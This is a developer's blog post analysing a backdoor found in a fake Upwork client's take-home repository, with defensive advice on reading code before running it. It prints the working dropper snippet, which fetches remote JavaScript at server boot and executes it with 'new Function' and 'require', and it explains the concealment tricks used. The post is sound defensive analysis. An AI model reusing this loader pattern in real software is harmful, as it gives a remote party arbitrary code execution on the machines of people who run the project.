DEV Community

Cover image for Two weeks after I refused to run a client's repo, one of them had a backdoor
AutoMate AI
AutoMate AI

Posted on

Two weeks after I refused to run a client's repo, one of them had a backdoor

Two weeks ago I published a piece about a client who asked me to clone their project, npm install, npm start, and send back a screenshot. I read the code instead and explained why. The response split down the middle. Half the replies said sensible. The other half said I was being difficult with someone who just wanted feedback.

On 24 August the same rule caught an actual backdoor. So here is the sample, the exact mechanism, and the one detail that made it work.

The setup

A client on Upwork, hiring for a Senior Solidity Engineer on a real-world-asset tokenisation platform. Gold and silver, permissioned transfers, Foundry in the requirements. The conversation was normal for three messages. She sent a whitepaper, a public demo repository, and a line that sounds like every take-home you have ever received:

Have a look at the demo and tell me what you would do first.

The repo was two commits old. Frontend in Next.js, an Express backend, contracts in a folder. I opened it in a reader, not a terminal.

What was in it

At the bottom of web/src/controllers/userController.ts, after the ordinary CRUD handlers, sat this:

export const getCookie = (async () => {
  try {
    const s = Buffer.from(process.env.DEV_API_KEY, "base64").toString();
    const k = Buffer.from(process.env.DEV_SECRET_KEY, "base64").toString();
    const v = Buffer.from(process.env.DEV_SECRET_VALUE, "base64").toString();
    const r = (await axios.get(s, { headers: { [k]: v } })).data.record.cookie;
    const handler = new Function("require", r);
    handler(require);
  } catch (error: any) {}
})();
Enter fullscreen mode Exit fullscreen mode

Read it slowly, because every line is doing work.

It is an IIFE, so nothing has to call it. It runs when the module is imported, and the module is imported by index.ts through routes/users.ts. That means it fires as the server boots, before any request, before any login.

The three environment values decode into a URL, a header name, and a header value. It fetches a record from a public JSON hosting service and pulls a field named cookie out of the response. Then it hands that string to new Function("require", r) and calls it with the real require passed in.

Whoever controls that remote record executes arbitrary Node on your machine, with module loading available to them. Filesystem, shell, network. The catch block is empty, so nothing is logged and nothing crashes.

Execution chain from README to full Node access

The README is the detonator

Here is the part that turns a clever snippet into a working attack.

Their package.json had "dev": "concurrently \"next dev\" \"tsx src/index.ts\"". Their README said npm install, then npm run dev.

Following the client's own setup instructions is the infection. Not a postinstall hook, not a malicious dependency in the lockfile, nothing that npm audit would surface. The frontend is a decoy. You are told to start the app, the app starts the backend, the backend imports a controller, the controller phones home and runs what it is given.

Four small decisions that kept it invisible

The payload itself is loud once you find it. Staying unfound is where the effort went.

Variables are single letters. s, k, v, r. In a diff they read as noise.

The URL and the header live in base64, so nothing in the committed config looks like an address. If you skim .config.env you see three long strings that could be anything.

The catch is empty. Not a log line, not a rethrow. A server that fails to reach the payload behaves exactly like a server that succeeded.

And the one I keep thinking about: their .gitignore contained .env*. That pattern does not match a file named .config.env, because the asterisk follows the dot-env prefix rather than preceding it. The config for the dropper sat in the repository in plain sight, and the ignore rule that should have caught it was one character away from working. That could be sloppiness. It could also be the whole design.

What I did not do

I fetched the remote record read-only and saved it as a .txt file so nothing could execute it by accident. It holds about 24,000 characters of obfuscated JavaScript. String array, encrypted literals, single-letter names, another empty catch inside.

I have no idea what it does, and I am not going to pretend otherwise. Finding out means running it or deobfuscating it, and the first is off the table on a machine that holds other people's production keys. What I can tell you is its shape, and nobody writes that shape by accident.

This is a campaign, not a coincidence

Microsoft tracks this as Contagious Interview: fake recruiters, a technical assessment you clone and run, a backdoor that lands while you think you are being evaluated. BleepingComputer has covered the Next.js flavour of it.

The delivery channel is what I would flag. Everything I read described recruiters approaching developers on LinkedIn. This one arrived through a freelance marketplace, inside a job that had a plausible whitepaper, a deployed Sepolia contract I verified myself over a public RPC, and twenty-three passing tests. Someone spent real effort on the costume.

If you filter for "unsolicited recruiter message", you will not catch this one.

What to do instead

Read the repository. All of it, not just the part they asked about. Reading found this in under an hour, and reading is what the client asked for anyway.

Grep before you open anything in an editor that runs tasks for you. new Function, eval, child_process, postinstall, atob, Buffer.from(..., "base64"). Two of those six were in this repo, and those two were the entire attack.

Grep checklist before opening a stranger's repository

Check the ignore rules against the files that are actually committed. A config file that survived .gitignore is worth thirty seconds of your attention, whatever it turns out to be.

If you genuinely need to see it run, run it somewhere disposable. A fresh VM, a container with no credentials mounted, a cloud sandbox you throw away. The point is not that execution is forbidden, it is that execution belongs somewhere that costs you nothing when it goes wrong.

And say no plainly when a client asks you to run their code. I have done it three times now and not one of those conversations went badly. The version I use: this machine holds production credentials for other people's systems, so I read rather than execute, it is a standing policy and not a comment on you, and here are two ways to show me it working that cost you nothing. A deployed preview link, or share your screen and walk me through it.

A client who wants their code reviewed will take either one. A client who needs it running on your machine specifically has told you something.

What I sent her

The review, with the backdoor as the first item, before any of the Solidity findings. Then rotate every key that touched a machine which ran that backend, deployer keys first. Then one question: who supplied that backend code, and where did it come from?

I do not think it was hers. Two commits, the second one authored by someone else and named "demo". But she was sending that repository to candidates, and sooner or later one of them was going to do exactly what the README said.


I audit smart contracts and production AI systems, and I read code before I run it. If you want the same eyes on your stack: automate-ai.live.

Top comments (0)